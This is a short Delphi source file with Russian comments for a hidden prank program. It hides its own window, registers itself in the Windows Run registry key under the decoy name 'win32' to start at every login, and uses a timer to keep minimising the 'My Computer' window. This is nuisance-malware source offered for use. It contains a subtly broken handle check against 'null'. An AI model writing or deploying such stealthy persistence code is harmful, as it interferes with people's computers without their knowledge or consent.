Code
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls,Registry;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
h:hwnd;
s:pchar;
begin
//Сворачивает Мой компьютер
s:='Мой компьютер';
h:=findwindow(nil,s);
if h<>null then
closewindow(h);
end;
procedure TForm1.FormCreate(Sender: TObject);
var Reg:TRegistry;
begin
//Невидимая форма
application.showmainform:= false;
//Добавление в атозагрузку
Reg:=TRegIniFile.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false);
Reg.WriteString('win32',Application.ExeName);
Reg.CloseKey;
Reg.Free;
end;
end.